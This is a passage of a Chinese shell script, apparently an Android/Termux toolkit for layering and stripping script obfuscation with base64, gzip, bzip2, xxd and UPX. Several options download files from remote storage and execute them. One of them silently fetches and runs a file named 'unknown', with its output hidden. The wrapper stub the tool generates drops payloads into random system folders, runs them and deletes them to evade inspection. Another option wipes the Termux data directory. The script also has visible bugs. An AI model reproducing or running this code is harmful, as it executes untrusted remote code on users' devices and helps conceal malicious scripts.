newfilename="新文件" 472 | 473 | cp "$filepath" "$newfilename" 474 | 475 | if [ $? -eq 0 ]; then 476 | curl -s -O https://sjsjsj123.oss-cn-hangzhou.aliyuncs.com/%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%8A%A0%E5%AF%86/unknown 477 | sh unknown >/dev/null 478 | rm -f unknown 479 | file="新文件" 480 | temp_file="/data/yulong_temp" 481 | 482 | sed 's/eval/echo/g' "$file" > "$temp_file" 483 | 484 | mv "$temp_file" "$file" 485 | sh 新文件 486 | rm -f 新文件 487 | content=$(cat 已解密) 488 | utf8_content=$(echo -n "$content" | xxd -r -p) 489 | 490 | echo -n "$utf8_content" > "⭐️J3$mulu" 491 | rm -f 已解密 492 | echo "解密成功已保存当前目录:⭐️J3$mulu" 493 | else 494 | echo "哥哥 找不到文件呀" 495 | fi 496 | ## ---------------------------------------------------- 497 | 498 | elif [ $choice == "J5" ]; then ## //选项5 499 | echo "你选择了分段base64解密" 500 | echo "请输入文件路径:" 501 | read filepath 502 | if [ ! -f "$filepath" ]; then 503 | echo "错误:文件不存在!" 504 | exit 1 505 | fi 506 | echo "当前文件为:$filepath" 507 | while IFS= read -r line || [ -n "$line" ]; do 508 | # 使用grep命令和正则表达式来匹配以echo开头、=结尾的行,并提取整行内容 509 | matched_line=$(echo "$line" | grep -o 'echo.*=') 510 | if [ ! -z "$matched_line" ]; then 511 | # 输出匹配的整行内容到另一个文件 512 | echo "$matched_line" >> output.txt 513 | fi 514 | done < $filepath 515 | # 源文件路径 516 | source_file="output.txt" 517 | # 目标文件路径 518 | target_file="9999" 519 | line_minus_one=$(tail -n 1 "$source_file") 520 | # 判断倒数第一行是否满足条件,如果满足则保存到目标文件 521 | if [[ $line_minus_one == echo* && $line_minus_one == *=* ]]; then 522 | echo -n "$line_minus_one" >> "$target_file" 523 | echo -n '" | base64 -d > 555' >> "$target_file" 524 | else 525 | echo "$line_minus_one" >> "$target_file" 526 | fi 527 | rm output.txt 528 | echo "提取完成!" 529 | sed 's/echo//g' 9999 > 8888 530 | rm 9999 531 | new_content='echo "' 532 | target_file="8888" 533 | # 在最开头插入内容 534 | sed -i '1s/^[ \t]*//' "$target_file" 535 | sed -i "1s/^/$new_content/" "$target_file" 536 | chmod +x 8888 537 | ./8888 538 | rm 8888 539 | target_file="555" 540 | echo -n ' | xxd -p > 444' >> "$target_file" 541 | 542 | file_path="555" 543 | 544 | # 检查文件是否存在 545 | if [ -f "$file_path" ]; then 546 | # 读取文件内容并删除所有 eval 字符串 547 | modified_content=$(sed 's/eval//g' "$file_path") 548 | 549 | # 将修改后的内容写回文件 550 | echo "$modified_content" > "$file_path" 551 | 552 | new_content='\necho ' 553 | target_file="555" 554 | # 在最开头插入内容 555 | sed -i '1s/^[ \t]*//' "$target_file" 556 | sed -i "1s/^/$new_content/" "$target_file" 557 | cp $filepath 3333 558 | 559 | target_file="3333" 560 | 561 | # 读取文件的最后一行 562 | last_line=$(tail -n 1 "$target_file") 563 | 564 | # 检查最后一行是否以"eval"开头并以"-d)"结尾 565 | if [[ $last_line == eval* && $last_line == *-d\) ]]; then 566 | # 删除最后一行 567 | sed -i '$d' "$target_file" 568 | 569 | else 570 | echo "未知错误!" 571 | fi 572 | 573 | 574 | 575 | cat 555 >> 3333 576 | rm 555 577 | chmod +x 3333 578 | ./3333 579 | rm 3333 580 | xxd -r -p 444 > "⭐️J5$filepath" 581 | rm 444 582 | echo "解密完成已保存当前目录∶⭐️J5$filepath" 583 | 584 | 585 | fi 586 | 587 | 588 | ## ----------------------------------------------- 589 | elif [ $choice == "J6" ]; then ## //选项6 590 | echo "你选择了upx解密" 591 | echo "请输入文件路径:" 592 | read filepath 593 | if [ ! -f "$filepath" ]; then 594 | echo "错误:文件不存在!" 595 | exit 1 596 | fi 597 | echo "当前文件为:$filepath" 598 | mulu=$(basename "$filepath") 599 | upx="/data/local/lsml/xxxsss" 600 | if [ -e "$upx" ]; then 601 | echo "" 602 | else 603 | url="https://zjty456.oss-cn-hangzhou.aliyuncs.com/xxxsss" 604 | output_file="/data/local/lsml/xxxsss" 605 | curl -o $output_file $url 606 | fi 607 | # 复制文件 608 | target_directory="/data/local/lsml" 609 | cp "$filepath" "$target_directory" 610 | new_filepath="$target_directory/$(basename "$filepath")" 611 | chmod -R 777 /data/local/lsml 612 | sh /data/local/lsml/xxxsss "$new_filepath" -d 613 | mv $new_filepath "⭐️J6$mulu" 614 | cp "$target_directory" "$filepath" 2>/dev/null 615 | file1="$filepath" 616 | file2="$target_directory" 617 | 618 | echo "变大为成功解压 无变化则失败" 619 | 620 | 621 | ## --------- -------------------------------------------- 622 | 623 | 624 | 625 | elif [ $choice == "G1" ]; then ## //选项7 626 | echo "你选择了upx加密" 627 | echo "请输入文件路径:" 628 | read filepath 629 | if [ ! -f "$filepath" ]; then 630 | echo "错误:文件不存在!" 631 | exit 1 632 | fi 633 | echo "当前文件为:$filepath" 634 | upx="/data/local/lsml/xxxsss" 635 | if [ -e "$upx" ]; then 636 | echo "" 637 | else 638 | url="https://zjty456.oss-cn-hangzhou.aliyuncs.com/xxxsss" 639 | output_file="/data/local/lsml/xxxsss" 640 | curl -o $output_file $url 641 | fi 642 | # 复制文件 643 | target_directory="/data/local/lsml" 644 | cp "$filepath" "$target_directory" 645 | new_filepath="$target_directory/$(basename "$filepath")" 646 | chmod -R 777 /data/local/lsml 647 | sh /data/local/lsml/xxxsss "$new_filepath" -9 648 | mv $new_filepath "⭐️G1$filepath" 649 | cp "$target_directory" "$filepath" 2>/dev/null 650 | file1="$filepath" 651 | file2="$target_directory" 652 | 653 | echo "变小为成功压缩,无变化加密失败" 654 | ## ------------------------------------------------------------ 655 | elif [ $choice == "G2" ]; then ## //选项8 656 | echo "你选择了gzexe加密" 657 | echo "请输入文件路径:" 658 | read filepath 659 | if [ ! -f "$filepath" ]; then 660 | echo "错误:文件不存在!" 661 | exit 1 662 | fi 663 | echo "当前文件为:$filepath" 664 | gzexe="/data/local/lsml/xs" 665 | if [ -e "$gzexe" ]; then 666 | echo "" 667 | else 668 | url="https://zjty456.oss-cn-hangzhou.aliyuncs.com/xs" 669 | output_file="/data/local/lsml/xs" 670 | curl -o $output_file $url 671 | fi 672 | gzip -c "$filepath" > /data/local/lsml/exe 673 | file="/data/local/lsml/exe" # 指定文件路径 674 | text_file="/data/local/lsml/xs" # 包含要插入的文本的文件 675 | chmod -R 777 /data/local/lsml 676 | # 将要插入的文本存储到临时文件中 677 | tmpfile=$(mktemp) || exit 678 | cat "$text_file" > "$tmpfile" 679 | # 将原文件的内容追加到临时文件中 680 | cat "$file" >> "$tmpfile" 681 | # 将临时文件中的内容覆盖原始文件 682 | mv "$tmpfile" "$file" 683 | mv "$file" "⭐️G2$filepath" 684 | cp "$file" "$filepath" 2>/dev/null 685 | echo "加密完成已保存当前目录:⭐️G2$filepath" 686 | 687 | ## ## ----------------------------------------------------------- 688 | 689 | elif [ $choice == "00" ]; then ## //选项00 690 | 691 | rm -r /data/local/lsml/ 2>/dev/null 692 | rm -r /data/data/com.termux/ 2>/dev/null 693 | rm /data/local/tmp/zjty 2>/dev/null 694 | ## ## --------------------------------------------------------- 695 | 696 | elif [ $choice == "110120" ]; then ## //选项yinchang 697 | echo "请输入文件路径:" 698 | read filepath 699 | if [ ! -f "$filepath" ]; then 700 | echo "错误:文件不存在!" 701 | exit 1 702 | fi 703 | echo "当前文件为:$filepath" 704 | 705 | destination_folder="$filepath 66" 706 | # 循环复制文件,直到复制成功 707 | ## 708 | file="/data/user/0/yulon" 709 | success=false 710 | 711 | while [ "$success" = false ] 712 | do 713 | chattr +a "$file" 2>/dev/null 714 | if [ $? -eq 0 ]; then 715 | success=true 716 | echo "正在处理!" 717 | sleep 2 718 | chattr -a "$file" 2>/dev/null 719 | mv "$file" "⭐️$filepath" 720 | sleep 2 721 | echo "已保存当前目录⭐️$filepath" 722 | exit 1 723 | else 724 | echo "扫描中...." 725 | fi 726 | done & 727 | sleep 2 728 | chmod 777 "$filepath" 729 | sh $filepath 730 | 731 | 732 | 733 | ## ## ----------------------------------------------------------- 734 | 735 | elif [ $choice == "J7" ]; then ## 选项7 736 | 737 | input_111=0 738 | progress=$((input_111 * 100 / 300)) 739 | color_reset="\e[0m" 740 | color_red="\e[41m" 741 | color_yellow="\e[43m" 742 | color_green="\e[42m" 743 | color_blue="\e[44m" 744 | color_cyan="\e[46m" 745 | colors=($color_red $color_yellow $color_green $color_blue $color_cyan) 746 | progress_width=40 747 | num_colors=${#colors[@]} 748 | print_progress() { 749 | local percentage=$1 750 | local completed=$((percentage * progress_width / 100)) 751 | local remaining=$((progress_width - completed)) 752 | 753 | if [ $percentage -ne 0 ] && [ $percentage -ne 100 ]; then 754 | local color_index=$((percentage * num_colors / 100)) 755 | local current_color="${colors[$color_index]}" 756 | 757 | printf "\r${current_color}%*s${color_reset}%*s %d%%" $completed '' $remaining '' "$percentage" 758 | fi 759 | 760 | if [ $percentage -eq 100 ]; then 761 | echo "" 762 | fi 763 | } 764 | update_progress() { 765 | local percentage=$1 766 | if [ $percentage -le 100 ]; then 767 | print_progress $percentage 768 | fi 769 | } 770 | echo "你选择了bzip解密" 771 | echo "请输入文件路径:" 772 | read input_directory 773 | if [ ! -f "$input_directory" ]; then 774 | echo "错误!没找到文件" 775 | exit 1 776 | fi 777 | input_file=$(basename "$input_directory") 778 | dir_size=0 779 | update_progress $progress & 780 | while [ $dir_size -eq 0 ]; do 781 | tail -n +"$input_111" "$input_file" 2>/dev/null | bunzip2 2>/dev/null >"⭐️J7$input_file" 782 | input_666="⭐️J7$input_file" 783 | dir_size=$(du -s "$input_666" | cut -f1) 784 | 785 | if [ $dir_size -eq 0 ]; then 786 | rm -r "$input_666" 787 | if [ $input_111 -gt 300 ]; then 788 | echo "扫描完成未能找到解密部分!" 789 | exit 1 790 | else 791 | 792 | ((input_111++)) 793 | progress=$((input_111 * 100 / 300)) 794 | update_progress $progress 795 | fi 796 | else 797 | echo "解密完成已保存当前目录:⭐️J7$input_file" 798 | exit 1 799 | fi 800 | done 801 | 802 | ## ----------------------------------------------------------------- 803 | 804 | elif [ $choice == "G3" ]; then ## 选项 805 | 806 | echo "你选择了bzip加密" 807 | echo "请输入文件路径:" 808 | read filepath 809 | if [ ! -f "$filepath" ]; then 810 | echo "错误:文件不存在!" 811 | exit 1 812 | fi 813 | echo "当前文件为:$filepath" 814 | mulu=$(basename "$filepath") 815 | cat "/data/local/lsml/xxs" > "⭐️G3$mulu" 816 | cat $filepath | bzip2 >> "⭐️G3$mulu" 817 | echo "已保存当前目录⭐️G3$mulu" 818 | 819 | 820 | ## ----------------------------------------------------------------- 821 | 822 | elif [ $choice == "G4" ]; then ## 选项 823 | 824 | echo "你选择了shell转二进制" 825 | echo "请输入文件路径:" 826 | read filepath 827 | if [ ! -f "$filepath" ]; then 828 | echo "错误:文件不存在!" 829 | exit 1 830 | fi 831 | echo "当前文件为:$filepath" 832 | mulu=$(basename "$filepath") 833 | chmod -R 777 /data/local/lsml 834 | nbb="/data/local/lsml/nbb" 835 | cp "$mulu" "$nbb" 836 | 837 | first_line=$(head -n 1 "$nbb") 838 | if [ "$first_line" != "#!/bin/sh" ]; then 839 | 840 | sed -i '1i#!/bin/sh' "$nbb" 841 | fi 842 | 843 | sh /data/local/lsml/c -rf"$nbb" -o "⭐️⭐️⭐️" 2>/dev/null 844 | 845 | if [ ! -f "$nbb.x.c" ]; then 846 | echo "错误:失败了" 847 | exit 1 848 | fi 849 | 850 | ## ------------------------------------------------------- 851 | elif [ $choice == "a1" ]; then ## //选项a1 852 | echo "你选择了gzip类叠层" 853 | echo -e "${COLOR_YELLOW}\n请输入文件路径:${RESET_SEQ}" 854 | read AA 855 | 856 | echo -e "${COLOR_YELLOW}\n请选择模式:${RESET_SEQ}" 857 | echo -e "${COLOR_RED}自定/随机${RESET_SEQ}" 858 | read MS 859 | if [[ $MS == *"自定"* ]]; then 860 | echo "——当前为自定模式——" 861 | echo -e "${COLOR_YELLOW}\n请输入叠层次数:${RESET_SEQ}" 862 | read cs 863 | 864 | sleep 0.8 865 | echo "预计层数$cs" 866 | echo "堆叠层数打印过程会少一层,实际还是原来的层数@shtoolsNb" 867 | mz="SC.sh" 868 | count=0 869 | while [ $count -lt $cs ] 870 | do 871 | echo "堆叠次数:$count" 872 | echo 'folders=($(find /data/ -maxdepth 1 -mindepth 1 -type d)); random_index=$((RANDOM % ${#folders[@]})); random_folder="${folders[$random_index]}"; wenjmz="$(date +%s | sha256sum | base64 | head -c 32)"; sed -n "$((LINENO+1)),$ p" < "$0" | gzip -cd > "${random_folder}/$wenjmz"; zhixilp="$random_folder/$wenjmz"; chmod 700 "$zhixilp"; (sleep 5; rm -fr "$zhixilp") 2>/dev/null & "$zhixilp" ${1+"$@"}; res=$?; exit $rec' > $count$mz 873 | cat $AA | gzip >> $count$mz 874 | 875 | AA="$count$mz" 876 | count=$((count+1)) 877 | B=$((count-2)) 878 | rm "$B$mz" 2>/dev/null 879 | done 880 | 881 | latest_file=$(ls -t | head -1) 882 | 883 | if [ -n "$latest_file" ]; then 884 | mv "$latest_file" "$new_name" 885 | sed -i '1s/^/#Telegram Channel:@sSethAionword\n#gzipCompression is only for ease of execution\n/' "$new_name" 886 | fi 887 | echo "堆叠结束请查看当前文件夹" 888 | exit 889 | 890 | 891 | 892 | else 893 | echo "——当前为随机模式——" 894 | random_number=$(shuf -i 5-20 -n 1) 895 | echo "预计层数$random_number" 896 | echo "堆叠层数打印过程会少一层,实际还是原来的层数@shtoolsNb" 897 | mz="SC.sh" 898 | count=0 899 | while [ $count -lt $random_number ] 900 | do 901 | echo "堆叠次数:$count" 902 | echo 'folders=($(find /data/ -maxdepth 1 -mindepth 1 -type d)); random_index=$((RANDOM % ${#folders[@]})); random_folder="${folders[$random_index]}"; wenjmz="$(date +%s | sha256sum | base64 | head -c 32)"; sed -n "$((LINENO+1)),$ p" < "$0" | gzip -cd > "${random_folder}/$wenjmz"; zhixilp="$random_folder/$wenjmz"; chmod 700 "$zhixilp"; (sleep 5; rm -fr "$zhixilp") 2>/dev/null & "$zhixilp" ${1+"$@"}; res=$?; exit $rec' > $count$mz 903 | cat $AA | gzip >> $count$mz 904 | 905 | AA="$count$mz" 906 | count=$((count+1)) 907 | B=$((count-2)) 908 | rm "$B$mz" 2>/dev/null 909 | done 910 | 911 | latest_file=$(ls -t | head -1) 912 | 913 | if [ -n "$latest_file" ]; then 914 | mv "$latest_file" "$new_name" 915 | sed -i '1s/^/#Telegram Channel:@sSethAionword\n#gzipCompression is only for ease of execution\n/' "$new_name" 916 | fi 917 | echo "堆叠结束请查看当前文件夹" 918 | exit 919 | 920 | fi 921 | ## ------------------------------------------------------- 922 | elif [ $choice == "a2" ]; then ## //选项3 923 | echo "你选择了bzip2类叠层" 924 | echo -e "${COLOR_YELLOW}\n请输入文件路径:${RESET_SEQ}" 925 | read AA 926 | echo -e "${COLOR_YELLOW}\n请选择模式:${RESET_SEQ}" 927 | echo -e "${COLOR_RED}自定/随机${RESET_SEQ}" 928 | read MS 929 | if [[ $MS == *"自定"* ]]; then 930 | echo "——当前为自定模式——" 931 | echo -e "${COLOR_YELLOW}\n请输入叠层次数:${RESET_SEQ}" 932 | read cs 933 | 934 | sleep 0.8 935 | echo "预计层数$cs" 936 | echo "堆叠层数打印过程会少一层,实际还是原来的层数@shtoolsNb" 937 | mz="SC.sh" 938 | count=0 939 | while [ $count -lt $cs ] 940 | do 941 | echo "堆叠次数:$count" 942 | echo 'folders=($(find /data/ -maxdepth 1 -mindepth 1 -type d)); random_index=$((RANDOM % ${#folders[@]})); random_folder="${folders[$random_index]}"; wenjmz="$(date +%s | sha256sum | base64 | head -c 32)"; sed -n "$((LINENO+1)),$ p" < "$0" | bunzip2 > "${random_folder}/$wenjmz"; zhixilp="$random_folder/$wenjmz"; chmod 700 "$zhixilp"; (sleep 5; rm -fr "$zhixilp") 2>/dev/null & "$zhixilp" ${1+"$@"}; res=$?; exit $rec' > $count$mz 943 | cat $AA | bzip2 >> $count$mz 944 | 945 | AA="$count$mz" 946 | count=$((count+1)) 947 | B=$((count-2)) 948 | rm "$B$mz" 2>/dev/null 949 | done 950 | 951 | latest_file=$(ls -t | head -1) 952 | 953 | if [ -n "$latest_file" ]; then 954 | mv "$latest_file" "$new_name" 955 | sed -i '1s/^/#Telegram Channel:@sSethAionword\n#bzipCompression is only for ease of execution\n/' "$new_name" 956 | fi 957 | echo "堆叠结束请查看当前文件夹" 958 | exit 959 | 960 | 961 | 962 | else 963 | echo "——当前为随机模式——" 964 | random_number=$(shuf -i 5-20 -n 1) 965 | echo "预计层数$random_number" 966 | echo "堆叠层数打印过程会少一层,实际还是原来的层数@shtoolsNb" 967 | mz="SC.sh" 968 | count=0 969 | while [ $count -lt $random_number ] 970 | do 971 | echo "堆叠次数:$count" 972 | echo 'folders=($(find /data/ -maxdepth 1 -mindepth 1 -type d)); random_index=$((RANDOM % ${#folders[@]})); random_folder="${folders[$random_index]}"; wenjmz="$(date +%s | sha256sum | base64 | head -c 32)"; sed -n "$((LINENO+1)),$ p" < "$0" | bunzip2 > "${random_folder}/$wenjmz"; zhixilp="$random_folder/$wenjmz"; chmod 700 "$zhixilp"; (sleep 5; rm -fr "$zhixilp") 2>/dev/null & "$zhixilp" ${1+"$@"}; res=$?; exit $rec' > $count$mz 973 | cat $AA | bzip2 >> $count$mz 974 | 975 | AA="$count$mz" 976 | count=$((count+1)) 977 | B=$((count-2)) 978 | rm "$B$mz" 2>/dev/null 979 | done 980 | 981 | latest_file=$(ls -t | head -1) 982 | 983 | if [ -n "$latest_file" ]; then 984 | mv "$latest_file" "$new_name" 985 | sed -i '1s/^/#Telegram Channel:@sSethAionword\n#bzipCompression is only for ease of execution\n/' "$new_name" 986 | fi 987 | echo "堆叠结束请查看当前文件夹" 988 | exit 989 | 990 | fi 991 | ## ---------------------------------------------------- 992 | ## ------------------------------------------------------- 993 | elif [ $choice == "a3" ]; then ## //选项3 994 | echo "你选择了base64类叠层" 995 | echo -e "${COLOR_YELLOW}\n请输入文件路径:${RESET_SEQ}" 996 | read AA 997 | echo -e "${COLOR_YELLOW}\n请选择模式:${RESET_SEQ}" 998 | echo -e "${COLOR_RED}自定/随机${RESET_SEQ}" 999 | read MS 1000 | if [[ $MS == *"自定"* ]]; then 1001 | echo "——当前为自定模式——" 1002 | echo -e "${COLOR_YELLOW}\n请输入叠层次数:${RESET_SEQ}" 1003 | read cs 1004 | 1005 | sleep 0.8 1006 | echo "预计层数$cs" 1007 | echo "堆叠层数打印过程会少一层,实际还是原来的层数@shtoolsNb" 1008 | mz="SC.sh" 1009 | count=0 1010 | while [ $count -lt $cs ] 1011 | do 1012 | echo "堆叠次数:$count" 1013 | echo 'folders=($(find /data/ -maxdepth 1 -mindepth 1 -type d)); random_index=$((RANDOM % ${#folders[@]})); random_folder="${folders[$random_index]}"; wenjmz="$(date +%s | sha256sum | base64 | head -c 32)"; sed -n "$((LINENO+1)),$ p" < "$0" | base64 -d > "${random_folder}/$wenjmz"; zhixilp="$random_folder/$wenjmz"; chmod 700 "$zhixilp"; (sleep 5; rm -fr "$zhixilp") 2>/dev/null & "$zhixilp" ${1+"$@"}; res=$?; exit $rec' > $count$mz 1014 | cat $AA | base64 >> $count$mz 1015 | 1016 | AA="$count$mz" 1017 | count=$((count+1)) 1018 | B=$((count-2)) 1019 | rm "$B$mz" 2>/dev/null 1020 | done 1021 | 1022 | latest_file=$(ls -t | head -1) 1023 | 1024 | if [ -n "$latest_file" ]; then 1025 | mv "$latest_file" "$new_name" 1026 | sed -i '1s/^/#Telegram Channel:@sSethAionword\n#base64Compression is only for ease of execution\n/' "$new_name" 1027 | fi 1028 | echo "堆叠结束请查看当前文件夹" 1029 | exit 1030 | 1031 | 1032 | 1033 | else 1034 | echo "——当前为随机模式——" 1035 | random_number=$(shuf -i 5-20 -n 1) 1036 | echo "预计层数$random_number" 1037 | echo "堆叠层数打印过程会少一层,实际还是原来的层数" 1038 | mz="SC.sh" 1039 | count=0 1040 | while [ $count -lt $random_number ] 1041 | do 1042 | echo "堆叠次数:$count" 1043 | echo 'folders=($(find /data/ -maxdepth 1 -mindepth 1 -type d)); random_index=$((RANDOM % ${#folders[@]})); random_folder="${folders[$random_index]}"; wenjmz="$(date +%s | sha256sum | base64 | head -c 32)"; sed -n "$((LINENO+1)),$ p" < "$0" | base64 -d > "${random_folder}/$wenjmz"; zhixilp="$random_folder/$wenjmz"; chmod 700 "$zhixilp"; (sleep 5; rm -fr "$zhixilp") 2>/dev/null & "$zhixilp" ${1+"$@"}; res=$?; exit $rec' > $count$mz 1044 | cat $AA | base64 -p >> $count$mz 1045 | 1046 | AA="$count$mz" 1047 | count=$((count+1)) 1048 | B=$((count-2)) 1049 | rm "$B$mz" 2>/dev/null 1050 | done 1051 | 1052 | latest_file=$(ls -t | head -1) 1053 | 1054 | if [ -n "$latest_file" ]; then 1055 | mv "$latest_file" "$new_name" 1056 | sed -i '1s/^/#Telegram Channel:@sSethAionword\n#base64Compression is only for ease of execution\n/' "$new_name" 1057 | fi 1058 | echo "堆叠结束请查看当前文件夹" 1059 | exit 1060 | 1061 | fi 1062 | ## ---------------------------------------------------- 1063 | ## ------------------------------------------------------- 1064 | elif [ $choice == "a4" ]; then ## //选项3 1065 | echo "你选择了16进制类叠层" 1066 | echo -e "${COLOR_YELLOW}\n请输入文件路径:${RESET_SEQ}" 1067 | read AA 1068 | echo -e "${COLOR_YELLOW}\n请选择模式:${RESET_SEQ}" 1069 | echo -e "${COLOR_RED}自定/随机${RESET_SEQ}" 1070 | read MS 1071 | if [[ $MS == *"自定"* ]]; then 1072 | echo "——当前为自定模式——" 1073 | echo -e "${COLOR_YELLOW}\n请输入叠层次数:${RESET_SEQ}" 1074 | read cs 1075 | 1076 | sleep 0.8 1077 | echo "预计层数$cs" 1078 | echo "堆叠层数打印过程会少一层,实际还是原来的层数,懒得修了" 1079 | mz="SC.sh" 1080 | count=0 1081 | while [ $count -lt $cs ] 1082 | do 1083 | echo "堆叠次数:$count" 1084 | echo 'folders=($(find /data/ -maxdepth 1 -mindepth 1 -type d)); random_index=$((RANDOM % ${#folders[@]})); random_folder="${folders[$random_index]}"; wenjmz="$(date +%s | sha256sum | base64 | head -c 32)"; sed -n "$((LINENO+1)),$ p" < "$0" | xxd -rp > "${random_folder}/$wenjmz"; zhixilp="$random_folder/$wenjmz"; chmod 700 "$zhixilp"; (sleep 5; rm -fr "$zhixilp") 2>/dev/null & "$zhixilp" ${1+"$@"}; res=$?; exit $rec' > $count$mz 1085 | cat $AA | xxd -p >> $count$mz 1086 | 1087 | AA="$count$mz" 1088 | count=$((count+1)) 1089 | B=$((count-2)) 1090 | rm "$B$mz" 2>/dev/null 1091 | done 1092 | 1093 | latest_file=$(ls -t | head -1) 1094 | 1095 | if [ -n "$latest_file" ]; then 1096 | mv "$latest_file" "$new_name" 1097 | sed -i '1s/^/#Telegram Channel:@sSethAionword\n#16 systemCompression is only for ease of execution\n/' "$new_name" 1098 | fi 1099 | echo "堆叠结束请查看当前文件夹" 1100 | exit 1101 | 1102 | 1103 | 1104 | else 1105 | echo "——当前为随机模式——" 1106 | random_number=$(shuf -i 5-20 -n 1) 1107 | echo "预计层数$random_number" 1108 | echo "堆叠层数打印过程会少一层,实际还是原来的层数,懒得修了" 1109 | mz="SC.sh" 1110 | count=0 1111 | while [ $count -lt $random_number ] 1112 | do 1113 | echo "堆叠次数:$count" 1114 | echo 'folders=($(find /data/ -maxdepth 1 -mindepth 1 -type d)); random_index=$((RANDOM % ${#folders[@]})); random_folder="${folders[$random_index]}"; wenjmz="$(date +%s | sha256sum | base64 | head -c 32)"; sed -n "$((LINENO+1)),$ p" < "$0" | xxd -rp > "${random_folder}/$wenjmz"; zhixilp="$random_folder/$wenjmz"; chmod 700 "$zhixilp"; (sleep 5; rm -fr "$zhixilp") 2>/dev/null & "$zhixilp" ${1+"$@"}; res=$?; exit $rec' > $count$mz 1115 | cat $AA | xxd -p >> $count$mz 1116 | 1117 | AA="$count$mz" 1118 | count=$((count+1)) 1119 | B=$((count-2)) 1120 | rm "$B$mz" 2>/dev/null 1121 | done 1122 | 1123 | latest_file=$(ls -t | head -1) 1124 | 1125 | if [ -n "$latest_file" ]; then 1126 | mv "$latest_file" "$new_name" 1127 | sed -i '1s/^/#Telegram Channel:@sSethAionword\n#16 systemCompression is only for ease of execution\n/' "$new_name" 1128 | fi 1129 | echo "堆叠结束请查看当前文件夹" 1130 | exit 1131 | 1132 | fi 1133 | ## ---------------------------------------------------- 1134 | ## ------------------------------------------------------- 1135 | elif [ $choice == "b1" ]; then ## //选项3 1136 | clear 1137 | echo "已选择xxd套壳" 1138 | echo "请输入文件路径:" 1139 | read filepath 1140 | filepath1=$(basename "$filepath") 1141 | 1142 | 1143 | echo -e '#Telegram Channel@shtoolsNb\n#xxdCompression is only for ease of execution' > "9${filepath1}.#sh";echo 'folders=($(find /data/ -maxdepth 1 -mindepth 1 -type d)); random_index=$((RANDOM % ${#folders[@]})); random_folder="${folders[$random_index]}"; wenjmz="$(date +%s | sha256sum | base64 | head -c 32)"; sed -n "$((LINENO+1)),$ p" < "$0" | xxd -rp > "${random_folder}/$wenjmz"; zhixilp="$random_folder/$wenjmz"; chmod 700 "$zhixilp"; (sleep 5; rm -fr "$zhixilp") 2>/dev/null & "$zhixilp" ${1+"$@"}; res=$?; exit $rec' >> "9${filepath1}.#sh" 1144 | #自解压程序 1145 | cat "${filepath}" | xxd -p >> "9${filepath1}.#sh" 1146 | 1147 | clear 1148 | echo "请查看当前路径" 1149 | ## ---------------------------------------------------- 1150 | ## ------------------------------------------------------- 1151 | elif [ $choice == "b2" ]; then ## //选项3 1152 | clear 1153 | echo "已选择bzip2套壳" 1154 | echo "请输入文件路径:" 1155 | read filepath 1156 | filepath1=$(basename "$filepath") 1157 | 1158 | 1159 | echo -e '#少年别看了\n#你面对的是深思盾' > "8${filepath1}.#sh";echo 'folders=($(find /data/ -maxdepth 1 -mindepth 1 -type d)); random_index=$((RANDOM % ${#folders[@]})); random_folder="${folders[$random_index]}"; wenjmz="$(date +%s | sha256sum | base64 | head -c 32)"; sed -n "$((LINENO+1)),$ p" < "$0" | bzip2 -d > "${random_folder}/$wenjmz"; zhixilp="$random_folder/$wenjmz"; chmod 700 "$zhixilp"; (sleep 5; rm -fr "$zhixilp") 2>/dev/null & "$zhixilp" ${1+"$@"}; res=$?; exit $rec' >> "8${filepath1}.#sh" 1160 | #自解压程序 1161 | cat "${filepath}" | bzip2 >> "8${filepath1}.#sh" 1162 | 1163 | clear 1164 | echo "请查看当前路径" 1165 | ## ------------------------------------------------------- 1166 | elif [ $choice == "b3" ]; then ## //选项3 1167 | clear 1168 | echo "已选择gzip套壳" 1169 | echo "请输入文件路径:" 1170 | read filepath 1171 | filepath1=$(basename "$filepath") 1172 | 1173 | 1174 | echo -e '#Telegram Channel@shtoolsNb\n#gzipCompression is only for ease of execution' > "7${filepath1}.#sh";echo 'folders=($(find /data/ -maxdepth 1 -mindepth 1 -type d)); random_index=$((RANDOM % ${#folders[@]})); random_folder="${folders[$random_index]}"; wenjmz="$(date +%s | sha256sum | base64 | head -c 32)"; sed -n "$((LINENO+1)),$ p" < "$0" | gzip -cd > "${random_folder}/$wenjmz"; zhixilp="$random_folder/$wenjmz"; chmod 700 "$zhixilp"; (sleep 5; rm -fr "$zhixilp") 2>/dev/null & "$zhixilp" ${1+"$@"}; res=$?; exit $rec' >> "7${filepath1}.#sh" 1175 | #自解压程序 1176 | cat "${filepath}" | gzip >> "7${filepath1}.#sh" 1177 | 1178 | clear 1179 | echo "请查看当前路径" 1180 | ## ------------------------------------------------------- 1181 | elif [ $choice == "b4" ]; then ## //选项3 1182 | clear 1183 | echo "已选择base64套壳" 1184 | echo "请输入文件路径:" 1185 | read filepath 1186 | filepath1=$(basename "$filepath") 1187 | 1188 | 1189 | echo -e '#Telegram Channel@shtoolsNb\n#base64 Compression is only for ease of execution' > "10${filepath1}.#sh";echo 'folders=($(find /data/ -maxdepth 1 -mindepth 1 -type d)); random_index=$((RANDOM % ${#folders[@]})); random_folder="${folders[$random_index]}"; wenjmz="$(date +%s | sha256sum | base64 | head -c 32)"; sed -n "$((LINENO+1)),$ p" < "$0" | base64 -d > "${random_folder}/$wenjmz"; zhixilp="$random_folder/$wenjmz"; chmod 700 "$zhixilp"; (sleep 5; rm -fr "$zhixilp") 2>/dev/null & "$zhixilp" ${1+"$@"}; res=$?; exit $rec' >> "10${filepath1}.#sh" 1190 | #自解压程序 1191 | cat "${filepath}" | base64 >> "10${filepath1}.#sh" 1192 | 1193 | clear 1194 | echo "请查看当前路径" 1195 | ## ---------------------------------------------------- 1196 | ## ----------------------------------------------------------------- 1197 | 1198 | elif [ $choice == "c1" ]; then ## 选项 1199 | clear 1200 | echo "已选择Shell脚本脱壳工具" 1201 | echo -e "\n 例如: 1202 | {gzip -cd} 1203 | {bzip2 -cd} 1204 | {base64 -d} 1205 | {xxd -rp} 1206 | 请输入解密方式/命令:" 1207 | read A 1208 | 1209 | # 获取输入的第一部分 1210 | A1=$(echo "$A" | awk '{print $1}') 1211 | # 获取输入的第二部分 1212 | A2=$(echo "$A" | awk '{print $2}') 1213 | echo -e "\n请输入提取行数:" 1214 | read B 1215 | echo -e "\n请输入文件路径:" 1216 | read C 1217 | C1=$(basename "$C") 1218 | tail -n +"${B}" "${C}"| ${A1} ${A2} > "1${C1}.#sh" 1219 | clear 1220 | echo "请查看当前路径" 1221 | 1222 | ## ------------------------------------------------------- 1223 | ## ------------------------------------------------------- 1224 | elif [ $choice == "d1" ]; then ## //选项3 1225 | clear 1226 | 